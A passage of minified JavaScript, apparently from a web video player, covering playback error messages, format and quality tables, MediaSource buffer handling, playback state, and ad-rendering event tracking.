aW.HTML5_NO_AVAILABLE_FORMATS_FALLBACK_WITH_LINK_SHORT="Your browser can't play this video. $BEGIN_LINKLearn more$END_LINK",aW.HTML5_SPS_UMP_STATUS_REJECTED="Something went wrong. Refresh or try again later. $BEGIN_LINKLearn more$END_LINK",aW.INVALID_DRM_MESSAGE="The DRM system specific message is invalid.",aW.PURCHASE_NOT_FOUND="This video requires payment.",aW.PURCHASE_REFUNDED="This video's purchase has been refunded.",aW.RENTAL_EXPIRED="This video's rental has expired.",aW.CAST_SESSION_DEVICE_MISMATCHED=
"The device in the cast session doesn't match the requested one.",aW.CAST_SESSION_VIDEO_MISMATCHED="The video in the cast session doesn't match the requested one.",aW.CAST_TOKEN_FAILED="Cast session not available. Please refresh or try again later.",aW.CAST_TOKEN_EXPIRED="Cast session was expired. Please refresh.",aW.CAST_TOKEN_MALFORMED="Invalid cast session. Please refresh or try again later.",aW.SERVER_ERROR="There was an internal server error. Please try again later.",aW.STOPPED_BY_ANOTHER_PLAYBACK=
"Your account is playing this video in another location. Please reload this page to resume watching.",aW.STREAM_LICENSE_NOT_FOUND="Video playback interrupted. Please try again.",aW.STREAMING_DEVICES_QUOTA_PER_24H_EXCEEDED="Too many devices/IP addresses have been used over the 24 hour period.",aW.STREAMING_NOT_ALLOWED="Playback not allowed because this video is pinned on another device.",aW.RETRYABLE_ERROR="There was a temporary server error. Please try again later.",aW.TOO_MANY_REQUESTS="Please log in to watch this video.",
aW.TOO_MANY_REQUESTS_WITH_LINK="Please $BEGIN_LINKclick here$END_LINK to watch this video on YouTube.",aW.TOO_MANY_STREAMS_PER_USER="Playback stopped because too many videos belonging to the same account are playing.",aW.TOO_MANY_STREAMS_PER_ENTITLEMENT="Playback stopped because this video has been played on too many devices.",aW.UNSUPPORTED_DEVICE="Playback isn't supported on this device.",aW.VIDEO_FORBIDDEN="Access to this video is forbidden.",aW.VIDEO_NOT_FOUND="This video can not be found.",aW.BROWSER_OR_EXTENSION_ERROR=
"Something went wrong. Refresh or try again later. $BEGIN_LINKLearn more$END_LINK",aW);var Ydh;var U5E=g.FF(),b79=U5E.match(/\((iPad|iPhone|iPod)( Simulator)?;/);if(!b79||b79.length<2)Ydh=void 0;else{var rCd=U5E.match(/\((iPad|iPhone|iPod)( Simulator)?; (U; )?CPU (iPhone )?OS (\d+_\d)[_ ]/);Ydh=rCd&&rCd.length===6?Number(rCd[5].replace("_",".")):0}var Ta=Ydh,Jk=Ta>=0;g.P(g.nj,bj);g.nj.prototype.V=function(x,T,t,u,H){return bj.prototype.V.call(this,x,T,t,u,H)};var gM={},lQ=(gM.FAIRPLAY="fairplay",gM.PLAYREADY="playready",gM.WIDEVINE="widevine",gM.CLEARKEY=null,gM.FLASHACCESS=null,gM.UNKNOWN=null,gM.WIDEVINE_CLASSIC=null,gM);aS.prototype.isMultiChannelAudio=function(){return this.numChannels>2};var BN={},SR=(BN.WIDTH={name:"width",video:!0,valid:640,kJ:99999},BN.HEIGHT={name:"height",video:!0,valid:360,kJ:99999},BN.FRAMERATE={name:"framerate",video:!0,valid:30,kJ:9999},BN.BITRATE={name:"bitrate",video:!0,valid:3E5,kJ:2E9},BN.EOTF={name:"eotf",video:!0,valid:"bt709",kJ:"catavision"},BN.CHANNELS={name:"channels",video:!1,valid:2,kJ:99},BN.CRYPTOBLOCKFORMAT={name:"cryptoblockformat",video:!0,valid:"subsample",kJ:"invalidformat"},BN.DECODETOTEXTURE={name:"decode-to-texture",video:!0,valid:"false",
kJ:"nope"},BN.AV1_CODECS={name:"codecs",video:!0,valid:"av01.0.05M.08",kJ:"av99.0.05M.08"},BN.EXPERIMENTAL={name:"experimental",video:!0,valid:"allowed",kJ:"invalid"},BN);var ztb=["h","H"],kHy=["9","("],FS9=["9h","(h"],htM=["8","*"],vZb=["a","A"],Vzd=["o","O"],GHC=["m","M"],LSd=["mac3","MAC3"],nZF=["meac3","MEAC3"],WN={},u2X=(WN.h=ztb,WN.H=ztb,WN["9"]=kHy,WN["("]=kHy,WN["9h"]=FS9,WN["(h"]=FS9,WN["8"]=htM,WN["*"]=htM,WN.a=vZb,WN.A=vZb,WN.o=Vzd,WN.O=Vzd,WN.m=GHC,WN.M=GHC,WN.mac3=LSd,WN.MAC3=LSd,WN.meac3=nZF,WN.MEAC3=nZF,WN),aSb=new Set("o O a ah A m M mac3 MAC3 meac3 MEAC3 so sa".split(" ")),wvD=new Set("m M mac3 MAC3 meac3 MEAC3".split(" "));var K={},Nu=(K["0"]="f",K["160"]="h",K["133"]="h",K["134"]="h",K["135"]="h",K["136"]="h",K["137"]="h",K["264"]="h",K["266"]="h",K["138"]="h",K["298"]="h",K["299"]="h",K["304"]="h",K["305"]="h",K["214"]="h",K["216"]="h",K["374"]="h",K["375"]="h",K["140"]="a",K["141"]="ah",K["327"]="sa",K["258"]="m",K["380"]="mac3",K["328"]="meac3",K["161"]="H",K["142"]="H",K["143"]="H",K["144"]="H",K["222"]="H",K["223"]="H",K["145"]="H",K["224"]="H",K["225"]="H",K["146"]="H",K["226"]="H",K["227"]="H",K["147"]="H",
K["384"]="H",K["376"]="H",K["385"]="H",K["377"]="H",K["149"]="A",K["261"]="M",K["381"]="MAC3",K["329"]="MEAC3",K["598"]="9",K["278"]="9",K["242"]="9",K["243"]="9",K["244"]="9",K["775"]="9",K["776"]="9",K["777"]="9",K["778"]="9",K["779"]="9",K["780"]="9",K["781"]="9",K["782"]="9",K["783"]="9",K["247"]="9",K["248"]="9",K["353"]="9",K["355"]="9",K["356"]="9",K["271"]="9",K["577"]="9",K["313"]="9",K["579"]="9",K["272"]="9",K["302"]="9",K["303"]="9",K["407"]="9",K["408"]="9",K["308"]="9",K["315"]="9",
K["330"]="9h",K["331"]="9h",K["332"]="9h",K["333"]="9h",K["334"]="9h",K["335"]="9h",K["336"]="9h",K["337"]="9h",K["338"]="so",K["600"]="o",K["250"]="o",K["251"]="o",K["774"]="o",K["194"]="*",K["195"]="*",K["220"]="*",K["221"]="*",K["196"]="*",K["197"]="*",K["279"]="(",K["280"]="(",K["317"]="(",K["318"]="(",K["273"]="(",K["274"]="(",K["357"]="(",K["358"]="(",K["275"]="(",K["359"]="(",K["360"]="(",K["276"]="(",K["583"]="(",K["584"]="(",K["314"]="(",K["585"]="(",K["561"]="(",K["277"]="(",K["361"]="(h",
K["362"]="(h",K["363"]="(h",K["364"]="(h",K["365"]="(h",K["366"]="(h",K["591"]="(h",K["592"]="(h",K["367"]="(h",K["586"]="(h",K["587"]="(h",K["368"]="(h",K["588"]="(h",K["562"]="(h",K["409"]="(",K["410"]="(",K["411"]="(",K["412"]="(",K["557"]="(",K["558"]="(",K["394"]="1",K["395"]="1",K["396"]="1",K["397"]="1",K["398"]="1",K["399"]="1",K["720"]="1",K["721"]="1",K["400"]="1",K["401"]="1",K["571"]="1",K["402"]="1",K["694"]="1h",K["695"]="1h",K["696"]="1h",K["697"]="1h",K["698"]="1h",K["699"]="1h",K["700"]=
"1h",K["701"]="1h",K["702"]="1h",K["703"]="1h",K["386"]="3",K["387"]="w",K["406"]="6",K["787"]="1",K["788"]="1",K["548"]="1e",K["549"]="1e",K["550"]="1e",K["551"]="1e",K["809"]="1e",K["810"]="1e",K["552"]="1e",K["811"]="1e",K["812"]="1e",K["553"]="1e",K["813"]="1e",K["814"]="1e",K["554"]="1e",K["815"]="1e",K["816"]="1e",K["555"]="1e",K["817"]="1e",K["818"]="1e",K["572"]="1e",K["556"]="1e",K["645"]="(",K["646"]="(",K["647"]="(",K["648"]="(",K["649"]="(",K["650"]="(",K["651"]="(",K["652"]="(",K["653"]=
"(",K["654"]="(",K["655"]="(",K["656"]="(",K["657"]="(",K["658"]="(",K["659"]="(",K["660"]="(",K["661"]="(",K["662"]="(",K["663"]="(",K["664"]="(",K["665"]="(",K["666"]="(",K["667"]="(",K["668"]="(",K["669"]="(",K["670"]="(",K["671"]="(",K["672"]="(",K["673"]="(",K["674"]="(h",K["675"]="(h",K["676"]="(h",K["677"]="(h",K["678"]="(h",K["679"]="(h",K["680"]="(h",K["681"]="(h",K["682"]="(h",K["683"]="(h",K["684"]="(h",K["685"]="(h",K["686"]="(h",K["687"]="(h",K["688"]="A",K["689"]="A",K["690"]="A",K["691"]=
"MEAC3",K["773"]="i",K["806"]="I",K["805"]="I",K["829"]="9",K["830"]="9",K["831"]="9",K["832"]="9",K["833"]="9",K["834"]="9",K["835"]="9",K["836"]="9",K["837"]="9",K["838"]="9",K["839"]="9",K["840"]="9",K["841"]="(",K["842"]="(",K["843"]="(",K["844"]="(",K["845"]="(",K["846"]="(",K["847"]="(",K["848"]="(",K["849"]="(",K["850"]="(",K["851"]="(",K["852"]="(",K["865"]="9",K["866"]="9",K["867"]="9",K["868"]="9",K["869"]="9",K["870"]="9",K["871"]="9",K["872"]="9",K["873"]="9",K["874"]="9",K["875"]="9",
K["876"]="9",K["877"]="(",K["878"]="(",K["879"]="(",K["880"]="(",K["881"]="(",K["882"]="(",K["883"]="(",K["884"]="(",K["885"]="(",K["886"]="(",K["887"]="(",K["888"]="(",K);var DB={},Bo4=(DB.STEREO_LAYOUT_UNKNOWN=0,DB.STEREO_LAYOUT_LEFT_RIGHT=1,DB.STEREO_LAYOUT_TOP_BOTTOM=2,DB);var yS,iG;yS={};g.BU=(yS.auto=0,yS.tiny=144,yS.light=144,yS.small=240,yS.medium=360,yS.large=480,yS.hd720=720,yS.hd1080=1080,yS.hd1440=1440,yS.hd2160=2160,yS.hd2880=2880,yS.highres=4320,yS);iG={0:"auto",144:"tiny",240:"small",360:"medium",480:"large",720:"hd720",1080:"hd1080",1440:"hd1440",2160:"hd2160",2880:"hd2880",4320:"highres"};var D6="highres hd2880 hd2160 hd1440 hd1080 hd720 large medium small tiny".split(" ");WU.prototype.isHdr=function(){return this.Z==="smpte2084"||this.Z==="arib-std-b67"};JE.prototype.LF=function(){return this.containerType===2};
JE.prototype.isEncrypted=function(){return!!this.wb};
JE.prototype.iD=function(){return!!this.audio};
JE.prototype.Zo=function(){return!!this.video};
var pj=!1;g.P(lK,g.$B);g.q=lK.prototype;g.q.appendBuffer=function(x,T,t){if(this.oW.q5()!==this.appendWindowStart+this.start||this.oW.e6()!==this.appendWindowEnd+this.start||this.oW.Pk()!==this.timestampOffset+this.start)this.oW.supports(1),this.oW.u_(this.appendWindowStart+this.start,this.appendWindowEnd+this.start),this.oW.L7(this.timestampOffset+this.start);this.oW.appendBuffer(x,T,t)};
g.q.abort=function(){this.oW.abort()};
g.q.remove=function(x,T){this.oW.remove(x+this.start,T+this.start)};
g.q.removeAll=function(){this.remove(this.appendWindowStart,this.appendWindowEnd)};
g.q.clear=function(){this.oW.clear()};
g.q.u_=function(x,T){this.appendWindowStart=x;this.appendWindowEnd=T};
g.q.M6=function(){return this.timestampOffset+this.start};
g.q.q5=function(){return this.appendWindowStart};
g.q.e6=function(){return this.appendWindowEnd};
g.q.L7=function(x){this.timestampOffset=x};
g.q.Pk=function(){return this.timestampOffset};
g.q.ma=function(x){x=this.oW.ma(x===void 0?!1:x);return ec(x,this.start,this.end)};
g.q.RF=function(){return this.oW.RF()};
g.q.Ia=function(){return this.oW.Ia()};
g.q.YG=function(){return this.oW.YG()};
g.q.Lj=function(){return this.oW.Lj()};
g.q.bH=function(){this.oW.bH()};
g.q.Fc=function(x){return this.oW.Fc(x)};
g.q.vl=function(){return this.oW.vl()};
g.q.EO=function(){return this.oW.EO()};
g.q.XG=function(){return this.oW.XG()};
g.q.lA=function(x,T,t){this.oW.lA(x,T,t)};
g.q.OZ=function(x,T,t){this.oW.OZ(x,T,t)};
g.q.bT=function(x,T){return this.oW.bT(x,T)};
g.q.supports=function(x){return this.oW.supports(x)};
g.q.pW=function(){return this.oW.pW()};
g.q.isView=function(){return!0};
g.q.LS=function(){return this.oW.LS()?this.isActive:!1};
g.q.isLocked=function(){return this.Ko&&!this.isActive};
g.q.K2=function(x){x=this.oW.K2(x);x.vw=this.start+"-"+this.end;return x};
g.q.Zf=function(){return this.oW.Zf()};
g.q.MB=function(){return this.oW.MB()};
g.q.y_=function(){return this.oW.y_()};
g.q.oU=function(){this.oW.Pr(this.Ln);g.$B.prototype.oU.call(this)};var MI=!1;g.P(MG,g.$B);g.q=MG.prototype;g.q.appendBuffer=function(x,T,t){this.sA=!1;t&&(this.GS=t);if(x.length){var u;((u=this.qJ)==null?0:u.appendBuffer)?this.qJ.appendBuffer(x):this.qJ?this.qJ.append(x):this.cM&&this.cM.webkitSourceAppend(this.id,x)}T&&(T.isEncrypted()&&(this.gB=this.GS),T.type===3&&(this.jx=T),this.F4.push(T.Hk()),this.F4.length>4&&this.F4.shift());this.h2&&(this.h2.length>=2||x.length>1048576?delete this.h2:this.h2.push(x))};
g.q.abort=function(){try{this.qJ?this.qJ.abort():this.cM&&this.cM.webkitSourceAbort(this.id)}catch(x){VH3&&g.vW(new g.CS("Error while abort the source buffer: "+x.name+", "+x.message))}this.GS=this.jx=null};
g.q.remove=function(x,T,t){this.sA=!1;var u;if((u=this.qJ)==null?0:u.remove)t&&t({b:iK(this.ma()),s:x,e:T}),this.qJ.remove(x,T)};
g.q.removeAll=function(){this.remove(this.q5(),this.e6())};
g.q.clear=function(){this.YG()||(this.abort(),this.removeAll(),this.gB=this.GS=this.jx=null,this.appendWindowStart=this.timestampOffset=0,this.gM=Hp([],[]),this.sA=!1,this.h2=mX?[]:void 0,this.Uc=!0)};
g.q.q5=function(){if(MI&&this.Zo)return this.appendWindowStart;var x;return((x=this.qJ)==null?void 0:x.appendWindowStart)||0};
g.q.e6=function(){var x;return((x=this.qJ)==null?void 0:x.appendWindowEnd)||0};
g.q.u_=function(x,T){this.qJ&&(MI&&this.Zo?(this.appendWindowStart=x,this.qJ.appendWindowEnd=T):x>this.q5()?(this.qJ.appendWindowEnd=T,this.qJ.appendWindowStart=x):(this.qJ.appendWindowStart=x,this.qJ.appendWindowEnd=T))};
g.q.M6=function(){return this.timestampOffset};
g.q.L7=function(x){MI?this.timestampOffset=x:this.supports(1)&&(this.qJ.timestampOffset=x)};
g.q.Pk=function(){return MI?this.timestampOffset:this.supports(1)?this.qJ.timestampOffset:0};
g.q.ma=function(x){if(x===void 0?0:x)return this.sA||this.RF()||(this.gM=this.ma(!1),this.sA=!0),this.gM;try{return this.qJ?this.qJ.buffered:this.cM?this.cM.webkitSourceBuffered(this.id):Hp([0],[Infinity])}catch(T){return Hp([],[])}};
g.q.RF=function(){var x;return((x=this.qJ)==null?void 0:x.updating)||!1};
g.q.YG=function(){return this.Uc};
g.q.Lj=function(){return!this.Uc&&this.RF()};
g.q.bH=function(){this.Uc=!1};
g.q.Fc=function(x){var T=x==null?void 0:x.Wv;x=x==null?void 0:x.containerType;return!T&&!x||T===this.Wv&&x===this.containerType};
g.q.vl=function(){return this.GS};
g.q.EO=function(){return this.gB};
g.q.bT=function(x,T){return this.containerType!==x||this.Wv!==T};
g.q.lA=function(x,T,t){if(this.containerType!==x||t&&this.bT(x,t))this.supports(4),A0()&&this.qJ.changeType(T),t&&(this.Wv=t);this.containerType=x};
g.q.OZ=function(x,T,t){this.containerType&&this.bT(x,T)&&A0()&&this.qJ.changeType(t);this.containerType=x;this.Wv=T};
g.q.pW=function(){return this.jx};
g.q.isView=function(){return!1};
g.q.supports=function(x){switch(x){case 1:var T;return((T=this.qJ)==null?void 0:T.timestampOffset)!==void 0;case 0:var t;return!((t=this.qJ)==null||!t.appendBuffer);case 2:var u;return!((u=this.qJ)==null||!u.remove);case 3:var H,I;return!!(((H=this.qJ)==null?0:H.addEventListener)&&((I=this.qJ)==null?0:I.removeEventListener));case 4:return!(!this.qJ||!this.qJ.changeType);default:return!1}};
g.q.LS=function(){return!this.RF()};
g.q.isLocked=function(){return!1};
g.q.K2=function(x){x.to=this.Pk();x.up=this.RF();var T,t=((T=this.qJ)==null?void 0:T.appendWindowStart)||0,u;T=((u=this.qJ)==null?void 0:u.appendWindowEnd)||Infinity;x.aw=t.toFixed(3)+"-"+T.toFixed(3);return x};
g.q.Ia=function(){var x;return((x=this.qJ)==null?void 0:x.writeHead)||0};
g.q.Zf=function(){for(var x={},T=0;T<this.F4.length;T++)x["s"+T]=this.F4[T];return x};
g.q.oU=function(){this.supports(3)&&(this.qJ.removeEventListener("updateend",this.uI),this.qJ.removeEventListener("error",this.uI));g.$B.prototype.oU.call(this)};
g.q.MB=function(){return this.containerType};
g.q.XG=function(){return this.Wv};
g.q.y_=function(){return this.h2};
var mX=!1,VH3=!1;RE.prototype.dispose=function(){if(!this.T9()){if(this.C)try{URL.revokeObjectURL(this.QA)}catch(x){}this.Z=!0}};
RE.prototype.T9=function(){return this.Z};
RE.prototype.RH=function(x){return x!==null&&x.QA===this.QA};
RE.prototype.toString=function(){return"MediaResource {"+this.QA+"}"};g.P(CQ,g.W);g.q=CQ.prototype;g.q.getDuration=function(){var x;return((x=this.FW)==null?void 0:x.duration)||this.S};
g.q.IC=function(x){try{this.FW?this.FW.duration=x:(this.S=x,this.cM.webkitSourceSetDuration(x))}catch(T){}};
g.q.oT=function(){try{return wo(this)==="closed"}catch(x){return!0}};
g.q.RF=function(){return!!(this.C&&this.C.RF()||this.Z&&this.Z.RF())};
g.q.isAsync=function(){return this.C?!!this.C.supports(0):KQ()};
g.q.i4Y=function(){!this.T9()&&Q5(this)&&this.callback&&(this.callback(this),this.callback=null)};
g.q.SYm=function(){this.dispose()};
g.q.mU=function(x){if(pQ&&!this.K&&x.YG()&&x.ma().length===0){var T;Oc(this.mediaElement,{l:"mswoue",sr:(T=this.mediaElement.Em)==null?void 0:T.WE()},!1);x.bH();this.YG()||(this.mediaElement.F7=!0,this.mediaElement.setCurrentTime(0))}};
g.q.Vj=function(){return!!this.C.supports(2)};
g.q.clear=function(){M1i(this,function(){});
var x;(x=this.C)==null||x.clear();var T;(T=this.Z)==null||T.clear()};
g.q.YG=function(){var x,T;return((x=this.Z)==null?void 0:x.YG())||((T=this.C)==null?void 0:T.YG())};
g.q.Fc=function(x,T){return!!this.C&&!!this.Z&&this.C.Fc(T)&&this.Z.Fc(x)};
var pQ=!1;XG.prototype.then=function(x,T){return this.promise.then(x,T)};
XG.prototype.resolve=function(x){this.mm(x)};
XG.prototype.reject=function(x){this.wJ(x)};g.P(xl,g.W);g.q=xl.prototype;g.q.qA=function(){return this.QA};
g.q.activate=function(x){var T="";x&&(r93(this,x),T=x.QA);if(!this.Ld()||T)T&&this.Ld()!==T&&(this.lZ(T),delete this.Z,this.j&&(this.j.reject(),delete this.j),!window.MediaSource&&window.ManagedMediaSource&&this.Pq(!(x==null||!x.C))),x&&x.C||this.load(),this.N||(this.addEventListener("volumechange",this.rr),this.N=!0)};
g.q.My=function(x,T){if(this.Z)if(v2V&&fQ(this.Z)&&!this.Z.Fc(x,T)){var t;Oc(this,{l:"megms",sr:(t=this.Em)==null?void 0:t.WE()});UaD(this);this.stopVideo()}else return this.FW=this.Z,this.Z=void 0,this.FW;x=window.MediaSource?new CQ(this,new window.MediaSource,!1):window.ManagedMediaSource?new CQ(this,new window.ManagedMediaSource,!1):window.WebKitMediaSource?new CQ(this,new window.WebKitMediaSource,!1):new CQ(this,void 0,!1);this.activate(x.j);this.FW=x;this.F7=!1;return x};
g.q.playVideo=function(){var x=this;this.isEnded()&&this.seekTo(0);!this.Ld()&&this.QA&&(g.vW(Error("playVideo without src")),this.lZ(this.QA.QA),this.QA.C||this.load());var T=this.play(),t;((t=this.Em)==null?0:t.B("html5_remove_ios_7_hack_force_play"))||!T&&Jk&&(Ta||0)>=7&&i2D(this,function(){g.lP(function(){b2f(x,x.getCurrentTime(),0)},500)});
return T};
g.q.seekTo=function(x){this.LB()>0&&(Jk&&Ta<4&&(x=Math.max(.1,x)),this.setCurrentTime(x))};
g.q.iM=function(){if(!this.Z&&this.FW)if(this.FW.T)try{var x;Oc(this,{l:"mer",sr:(x=this.Em)==null?void 0:x.WE(),rs:wo(this.FW)});this.FW.clear();this.Z=this.FW;this.FW=void 0}catch(T){x=new g.CS("Error while clearing Media Source in MediaElement: "+T.name+", "+T.message),g.vW(x),this.stopVideo()}else this.stopVideo()};
g.q.stopVideo=function(){var x=this;if(!this.Z){var T;(T=this.FW)==null||c9v(T);if(FG3){if(!this.j){var t=new XG;t.then(void 0,function(){});
this.j=t;hB3&&this.pause();g.lP(function(){x.j===t&&(tH(x),t.resolve())},200)}}else tH(this)}};
g.q.Mp=function(){var x=this.kp();return ZD(x)>0&&this.getDuration()?qG(x,this.getCurrentTime()):0};
g.q.EJ=function(){var x=this.getDuration();return x===Infinity?1:x?this.Mp()/x:0};
g.q.K2=function(){try{var x=this.getSize();return{vct:this.getCurrentTime().toFixed(3),vd:this.getDuration().toFixed(3),vpl:iK(this.Km(),",",3),vbu:iK(this.kp()),vbs:iK(this.qB()),vpa:""+ +this.isPaused(),vsk:""+ +this.isSeeking(),ven:""+ +this.isEnded(),vpr:""+this.getPlaybackRate(),vrs:""+this.LB(),vns:""+this.dQ(),vec:""+this.Yp(),vemsg:this.HU(),vvol:""+this.getVolume(),vdom:""+ +this.u2(),vsrc:""+ +!!this.Ld(),vw:""+x.width,vh:""+x.height}}catch(T){return{}}};
g.q.hasError=function(){return this.Yp()>0};
g.q.addEventListener=function(x,T){this.K.listen(x,T,!1,this);this.Rr(x)};
g.q.removeEventListener=function(x,T){this.K.f2(x,T,!1,this)};
g.q.dispatchEvent=function(x){if(this.j&&x.type==="pause")return!1;if(v2V){var T,t=((T=x.C)==null?void 0:T.timeStamp)||Infinity;T=t>performance.now()?t-Date.now()+performance.now():t;t=this.Z||this.FW;if((t==null?0:t.YG())||T<=((t==null?void 0:t.D)||0)){var u;Oc(this,{l:"mede",sr:(u=this.Em)==null?void 0:u.WE(),et:x.type});return!1}if(this.F7)return Oc(this,{l:"medes",et:x.type}),t&&x.type==="seeking"&&(t.D=performance.now(),this.F7=!1),!1}return this.K.dispatchEvent(x)};
g.q.hC=function(){this.D=!1};
g.q.yK=function(){this.D=!0;this.g5(!0)};
g.q.rr=function(){this.D&&!this.Kv()&&this.g5(!0)};
g.q.RH=function(x){return!!x&&x.yA()===this.yA()};
g.q.oU=function(){this.N&&this.removeEventListener("volumechange",this.rr);FG3&&tH(this);g.W.prototype.oU.call(this)};
var FG3=!1,hB3=!1,v2V=!1,kK3=!1;g.q=g.uZ.prototype;g.q.isPaused=function(){return g.p(this,4)};
g.q.isPlaying=function(){return g.p(this,8)&&!g.p(this,512)&&!g.p(this,64)&&!g.p(this,2)};
g.q.isOrWillBePlaying=function(){return g.p(this,8)&&!g.p(this,2)&&!g.p(this,1024)};
g.q.isCued=function(){return g.p(this,64)&&!g.p(this,8)&&!g.p(this,4)};
g.q.isBuffering=function(){return g.p(this,1)&&!g.p(this,2)};
g.q.isError=function(){return g.p(this,128)};
g.q.isSuspended=function(){return g.p(this,512)};
g.q.nm=function(){return g.p(this,64)&&g.p(this,4)};
g.q.toString=function(){return"PSt."+this.state.toString(16)};
var NP={},Ju=(NP.BUFFERING="buffering-mode",NP.CUED="cued-mode",NP.ENDED="ended-mode",NP.PAUSED="paused-mode",NP.PLAYING="playing-mode",NP.SEEKING="seeking-mode",NP.UNSTARTED="unstarted-mode",NP);g.P(lZ,g.W);g.q=lZ.prototype;g.q.Xs=function(){return this.j};
g.q.e8=function(){return this.slot};
g.q.wy=function(){return this.layout};
g.q.init=function(){var x=uS(this.layout.clientMetadata,"metadata_type_video_length_seconds"),T=uS(this.layout.clientMetadata,"metadata_type_active_view_traffic_type");Uu(this.layout.uN)&&o5(this.H9.get(),this.layout.layoutId,{Fl:T,Eb:x,listener:this,dR:this.T3()});$bX(this.RU.get(),this);x=this.WM;T=this.layout.layoutId;var t={dR:this.T3()};x.C.set(T,t);this.GZ()};
g.q.Cc=function(){};
g.q.release=function(){Uu(this.layout.uN)&&tz(this.H9.get(),this.layout.layoutId);HJX(this.RU.get(),this);this.WM.C.delete(this.layout.layoutId);this.ww()};
g.q.aY=function(){};
g.q.KA=function(){};
g.q.startRendering=function(x){cU(m8(this));if(dc(this,x)){var T=this.C;YX(T.params.kz.Lf.get(),!0)&&$a5(T,"p_sr",{});MW(this);this.ZF(x);this.T3()||this.i4(!1)}};
g.q.bN=function(x,T){if(T.layoutId===this.layout.layoutId){this.EF="rendering";this.Z=this.IU.get().isMuted()||this.IU.get().getVolume()===0;this.W9("impression");this.W9("start");if(this.IU.get().isMuted()){Yl(this,"mute");var t;x=((t=ee(this))==null?void 0:t.muteCommands)||[];NN(this.Rf.get(),x,this.layout.layoutId)}if(this.IU.get().isFullscreen()){this.bf("fullscreen");var u;t=((u=ee(this))==null?void 0:u.fullscreenCommands)||[];NN(this.Rf.get(),t,this.layout.layoutId)}this.T3()||(u=this.MU.get(),
u.j&&!u.Z&&(u.T=!1,u.Z=!0,u.actionType!=="ad_to_video"&&(yK("pbs",void 0,u.actionType),g.R6("finalize_all_timelines")&&Of4(u.actionType))));this.jU(1);this.GB(T);var H;T=((H=ee(this))==null?void 0:H.impressionCommands)||[];NN(this.Rf.get(),T,this.layout.layoutId)}};
g.q.Yr=function(x,T,t){this.N={xE:3,b7:x==="load_timeout"?402:400,errorMessage:T.message};this.W9("error");var u;x=((u=ee(this))==null?void 0:u.errorCommands)||[];NN(this.Rf.get(),x,this.layout.layoutId);this.T3()||this.cB.dn(this.slot,this.layout,T,t)};
g.q.KL=function(){if(this.EF==="rendering"){Yl(this,"pause");var x,T=((x=ee(this))==null?void 0:x.pauseCommands)||[];NN(this.Rf.get(),T,this.layout.layoutId);this.jU(2)}};
g.q.d3=function(){if(this.EF==="rendering"){Yl(this,"resume");var x,T=((x=ee(this))==null?void 0:x.resumeCommands)||[];NN(this.Rf.get(),T,this.layout.layoutId)}};
g.q.uH=function(x,T){T=T===void 0?!1:T;if(this.EF==="rendering"){var t={currentTimeSec:x,flush:T};Uq(this.C,"p_ip",t);Vg(this.eY,x*1E3,T);this.Z||Vg(this.eY,x*1E3,T===void 0?!1:T);var u=this.RI();if(u){u/=1E3;if(x>=u*.25||T)this.W9("first_quartile"),Uq(this.C,"p_fq",t);if(x>=u*.5||T)this.W9("midpoint"),Uq(this.C,"p_sq",t);if(x>=u*.75||T)this.W9("third_quartile"),Uq(this.C,"p_tq",t);this.Lf.get().U.Y().experiments.aU("enable_progress_command_flush_on_kabuki")?yg(this.K,x*1E3,T):yg(this.K,x*1E3,L6v(this)?
T:!1)}}};
g.q.fB=function(){var x;return((x=AH(this.Bv.get(),1))==null?void 0:x.clientPlaybackNonce)||""};
g.q.Uz=function(x,T){x.layoutId!==this.layout.layoutId?this.cB.dn(this.slot,x,new th("Tried to stop rendering an unknown layout, this adapter requires LayoutId: "+this.layout.layoutId+("and LayoutType: "+this.layout.layoutType),void 0,"ADS_CLIENT_ERROR_MESSAGE_UNKNOWN_LAYOUT"),"ADS_CLIENT_ERROR_TYPE_EXIT_LAYOUT_FAILED"):T()};
g.q.Ts=function(x,T,t){if(T.layoutId===this.layout.layoutId)switch(this.EF="not_rendering",this.layoutExitReason=void 0,this.T3()||(x=t!=="normal"||this.position+1===this.D)&&this.i4(x),this.jP(t),this.jU(0),t){case "abandoned":if(G$(this.eY,"impression")){var u,H=((u=ee(this))==null?void 0:u.abandonCommands)||[];NN(this.Rf.get(),H,this.layout.layoutId)}break;case "normal":u=((H=ee(this))==null?void 0:H.completeCommands)||[];NN(this.Rf.get(),u,this.layout.layoutId);break;case "skipped":var I;u=((I=
ee(this))==null?void 0:I.skipCommands)||[];NN(this.Rf.get(),u,this.layout.layoutId)}};
g.q.fq=function(){return this.layout.layoutId};
g.q.VK=function(){return this.N};
g.q.uL=function(){if(this.EF==="rendering"){this.eY.W9("active_view_measurable");var x,T=((x=ee(this))==null?void 0:x.activeViewMeasurableCommands)||[];NN(this.Rf.get(),T,this.layout.layoutId)}};
g.q.Lu=function(){if(this.EF==="rendering"){this.eY.W9("active_view_fully_viewable_audible_half_duration");var x,T=((x=ee(this))==null?void 0:x.activeViewFullyViewableAudibleHalfDurationCommands)||[];NN(this.Rf.get(),T,this.layout.layoutId)}};
g.q.xR=function(){if(this.EF==="rendering"){this.eY.W9("active_view_viewable");var x,T=((x=ee(this))==null?void 0:x.activeViewViewableCommands)||[];NN(this.Rf.get(),T,this.layout.layoutId)}};
g.q.Ku=function(){if(this.EF==="rendering"){this.eY.W9("audio_audible");var x,T=((x=ee(this))==null?void 0:x.activeViewAudioAudibleCommands)||[];NN(this.Rf.get(),T,this.layout.layoutId)}};
g.q.dw=function(){if(this.EF==="rendering"){this.eY.W9("audio_measurable");var x,T=((x=ee(this))==null?void 0:x.activeViewAudioMeasurableCommands)||[];NN(this.Rf.get(),T,this.layout.layoutId)}};
g.q.i4=function(x){this.MU.get().i4(uS(this.layout.clientMetadata,"metadata_type_ad_placement_config").kind,x,this.position,this.D,!1)};
g.q.onFullscreenToggled=function(x){if(this.EF==="rendering")if(x){this.bf("fullscreen");var T,t=((T=ee(this))==null?void 0:T.fullscreenCommands)||[];NN(this.Rf.get(),t,this.layout.layoutId)}else this.bf("end_fullscreen"),T=((t=ee(this))==null?void 0:t.endFullscreenCommands)||[],NN(this.Rf.get(),T,this.layout.layoutId)};
g.q.onVolumeChange=function(){if(this.EF==="rendering")if(this.IU.get().isMuted()){Yl(this,"mute");var x,T=((x=ee(this))==null?void 0:x.muteCommands)||[];NN(this.Rf.get(),T,this.layout.layoutId)}else Yl(this,"unmute"),x=((T=ee(this))==null?void 0:T.unmuteCommands)||[],NN(this.Rf.get(),x,this.layout.layoutId)};
g.q.M0=function(){};
g.q.VY=function(){};
g.q.zC=function(){};
g.q.AI=function(){};
g.q.JI=function(){};
g.q.bf=function(x){this.eY.bf(x,!this.Z)};
